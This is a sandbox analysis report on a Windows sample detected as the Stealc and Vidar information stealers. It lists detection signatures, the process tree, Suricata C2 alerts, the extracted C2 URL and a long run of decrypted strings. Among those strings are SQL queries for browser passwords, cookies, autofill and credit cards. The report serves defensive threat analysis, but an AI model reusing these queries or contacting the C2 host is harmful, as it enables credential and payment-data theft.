Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1545754
MD5:	377335949fa0fac8b8a2b2ca2821982f
SHA1:	27e43ed482195ad1ee904b18ef79705c5e75a3ad
SHA256:	5b1a82b3eea6918e02279c84044641fad0bd8d036ab6ed100b6db90ac121e638
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 2800 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 377335949FA0FAC8B8A2B2CA2821982F)

chrome.exe (PID: 5512 cmdline: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6552 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1784 --field-trial-handle=2196,i,666161878046163047,8604981053398808251,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 8184 cmdline: "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7924 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2244 --field-trial-handle=2164,i,4746656918360619146,9382172883927238799,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 6764 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7348 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2644 --field-trial-handle=2024,i,3838732235507287572,18018030642264510812,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8320 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6740 --field-trial-handle=2024,i,3838732235507287572,18018030642264510812,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8352 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6904 --field-trial-handle=2024,i,3838732235507287572,18018030642264510812,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8992 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7080 --field-trial-handle=2024,i,3838732235507287572,18018030642264510812,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: Vidar

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2636691992.00000000003D1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2116035375.0000000004C40000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2638083639.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 2800	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 2800	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 2800	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 2800	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.3d0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 2800, ParentProcessName: file.exe, ProcessCommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 5512, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T23:11:11.911961+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T23:11:11.904903+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T23:11:12.196052+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T23:11:13.308530+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T23:11:12.204243+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T23:11:11.612919+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T23:11:14.252001+0100	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-30T23:11:41.192600+0100	2803304	3	Unknown Traffic	192.168.2.5	49870	185.215.113.206	80	TCP
2024-10-30T23:11:48.781463+0100	2803304	3	Unknown Traffic	192.168.2.5	49980	185.215.113.206	80	TCP
2024-10-30T23:11:52.035441+0100	2803304	3	Unknown Traffic	192.168.2.5	49980	185.215.113.206	80	TCP
2024-10-30T23:11:53.829506+0100	2803304	3	Unknown Traffic	192.168.2.5	49980	185.215.113.206	80	TCP
2024-10-30T23:11:56.586398+0100	2803304	3	Unknown Traffic	192.168.2.5	49980	185.215.113.206	80	TCP
2024-10-30T23:11:57.232745+0100	2803304	3	Unknown Traffic	192.168.2.5	49980	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 0.2.file.exe.3d0000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 0.2.file.exe.3d0000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 44%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: 30
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: 11
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: 20
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: 24
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: GetProcAddress
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: LoadLibraryA
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: lstrcatA
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: OpenEventA
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: CreateEventA
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: CloseHandle
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: Sleep
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: VirtualFree
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: GetSystemInfo
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: VirtualAlloc
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: HeapAlloc
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: GetComputerNameA
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: lstrcpyA
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: GetProcessHeap
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: GetCurrentProcess
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: lstrlenA
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: ExitProcess
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: GetSystemTime
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: advapi32.dll
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: gdi32.dll
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: user32.dll
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: crypt32.dll
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: ntdll.dll
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: GetUserNameA
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: CreateDCA
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: GetDeviceCaps
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: ReleaseDC
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: sscanf
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: VMwareVMware
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: HAL9TH
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: JohnDoe
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: DISPLAY
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: http://185.215.113.206
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: bksvnsj
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: /6c4adf523b719729.php
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: /746f34465cf17784/
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: tale
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: GetFileAttributesA
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: GlobalLock
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: HeapFree
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: GetFileSize
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: GlobalSize
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: IsWow64Process
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: Process32Next
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: GetLocalTime
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: FreeLibrary
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: GetVolumeInformationA
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: Process32First
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: GetLocaleInfoA
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: GetModuleFileNameA
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: DeleteFileA
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: FindNextFileA
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: LocalFree
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: FindClose
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: LocalAlloc
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: GetFileSizeEx
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: ReadFile
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: SetFilePointer
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: WriteFile
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: CreateFileA
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: FindFirstFileA
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: CopyFileA
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: VirtualProtect
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: GetLastError
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: lstrcpynA
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: MultiByteToWideChar
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: GlobalFree
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: WideCharToMultiByte
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: GlobalAlloc
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: OpenProcess
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: TerminateProcess
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: GetCurrentProcessId
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: gdiplus.dll
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: ole32.dll
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: bcrypt.dll
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: wininet.dll
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: shlwapi.dll
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: shell32.dll
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: psapi.dll
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: rstrtmgr.dll
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: SelectObject
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: BitBlt
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: DeleteObject
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: CreateCompatibleDC
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: GdiplusStartup
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: GdiplusShutdown
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: GdipDisposeImage
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: GdipFree
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: CoUninitialize
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: CoInitialize
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: CoCreateInstance
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: BCryptDecrypt
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: BCryptSetProperty
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: BCryptDestroyKey
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: GetWindowRect
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: GetDesktopWindow
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: GetDC
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: CloseWindow
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: wsprintfA
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: CharToOemW
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: wsprintfW
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: RegQueryValueExA
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: RegEnumKeyExA
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: RegOpenKeyExA
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: RegCloseKey
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: RegEnumValueA
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: CryptUnprotectData
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: SHGetFolderPathA
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: ShellExecuteExA
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: InternetOpenUrlA
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: InternetConnectA
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: InternetCloseHandle
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: InternetOpenA
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: HttpSendRequestA
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: HttpOpenRequestA
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: InternetReadFile
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: InternetCrackUrlA
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: StrCmpCA
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: StrStrA
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: StrCmpCW
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: PathMatchSpecA
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: RmStartSession
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: RmRegisterResources
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: RmGetList
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: RmEndSession
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: sqlite3_open
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: sqlite3_step
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: sqlite3_column_text
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: sqlite3_finalize
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: sqlite3_close
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: sqlite3_column_blob
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: encrypted_key
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: PATH
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: NSS_Init
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: NSS_Shutdown
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: PK11_FreeSlot
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: PK11_Authenticate
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: C:\ProgramData\
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: browser:
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: profile:
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: url:
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: login:
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: password:
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: Opera
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: OperaGX
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: Network
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: cookies
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: .txt
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: TRUE
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: FALSE
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: autofill
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: SELECT name, value FROM autofill
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: history
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: cc
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: name:
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: month:
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: year:
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: card:
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: Cookies
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: Login Data
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: Web Data
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: History
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: logins.json
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: formSubmitURL
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: usernameField
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: encryptedUsername
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: encryptedPassword
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: guid
Source: 0.2.file.exe.3d0000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
